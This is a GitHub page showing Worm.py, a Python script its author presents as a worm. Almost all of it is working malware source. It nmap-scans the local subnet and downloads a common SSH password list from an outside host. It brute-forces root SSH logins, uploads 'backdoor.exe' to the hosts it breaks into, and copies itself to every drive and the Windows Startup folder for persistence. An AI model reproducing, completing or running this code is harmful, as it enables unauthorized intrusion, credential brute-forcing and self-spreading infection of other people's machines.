-
Notifications
You must be signed in to change notification settings - Fork 0
/
Worm.py
159 lines (118 loc) · 3.9 KB
/
Worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# Worm in python language made by Frank
# Made by Frank
import nmap
import paramiko
import os
import socket
from urllib.request import urlopen
import urllib
import time
from ftplib import FTP
import ftplib
from shutil import copy2
import win32api
import netifaces
from threading import Thread
import networking
import coloredlogs, logging
logger = logging.getLogger(__name__)
coloredlogs.install(fmt='%(message)s',level='DEBUG', logger=logger)
gws = netifaces.gateways()
gateway = gws['default'][netifaces.AF_INET][0]
def scan_hosts(port):
"""
Scans all machines on the same network that
have the specified port enabled
Returns:
IP addresses of hosts
"""
logger.debug(f"Scanning machines on the same network with port {port} open.")
logger.debug("Gateway: " + gateway)
port_scanner = nmap.PortScanner()
port_scanner.scan(gateway + "/24", arguments='-p'+str(port)+' --open')
all_hosts = port_scanner.all_hosts()
logger.debug("Hosts: " + str(all_hosts))
return all_hosts
def download_ssh_passwords(filename):
"""
Downloads most commonly used ssh passwords from a specific url
Clearly, you can store passwords in a dictionary, but i found this more comfortable
Args:
filename - Name to save the file as.
"""
logger.debug("Downloading passwords...")
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt"
urllib.request.urlretrieve(url, filename)
logger.debug("Passwords downloaded!")
def connect_to_ftp(host, username, password):
# TODO:30 : Finish this function + Add bruteforcing
try:
ftp = FTP(host)
ftp.login(username, password)
except ftplib.all_errors as error:
logger.error(error)
pass
def connect_to_ssh(host, password):
"""
Tries to connect to a SSH server
Returns:
True - Connection successful
False - Something went wrong
Args:
host - Target machine's IP
password - Password to use
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
logger.debug("Connecting to: " + host)
client.connect(host, 22, "root", password)
logger.debug("Successfully connected!")
sftp = client.open_sftp()
sftp.put('backdoor.exe', "destination") # change this.
return True
except socket.error:
logger.error("Computer is offline or port 22 is closed")
return False
except paramiko.ssh_exception.AuthenticationException:
logger.error("Wrong Password or Username")
return False
except paramiko.ssh_exception.SSHException:
# socket is open, but not SSH service responded
logger.error("No response from SSH server")
return False
def bruteforce_ssh(host, wordlist):
"""
Calls connect_to_ssh function and
tries to bruteforce the target server.
Args:
wordlist - TXT file with passwords
"""
# TODO:10 : Bruteforce usernames too
file = open(wordlist, "r")
for line in file:
connection = connect_to_ssh(host, line)
print(connection)
time.sleep(5)
def drivespreading():
bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
while True:
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print(drives)
for drive in drives:
try:
if "C:\\" == drive:
copy2(__file__, bootfolder)
else:
copy2(__file__, drive)
except:
pass
time.sleep(3)
def start_drive_spreading():
thread = Thread(target = drivespreading)
thread.start()
def main():
start_drive_spreading()
if __name__ == "__main__":
main()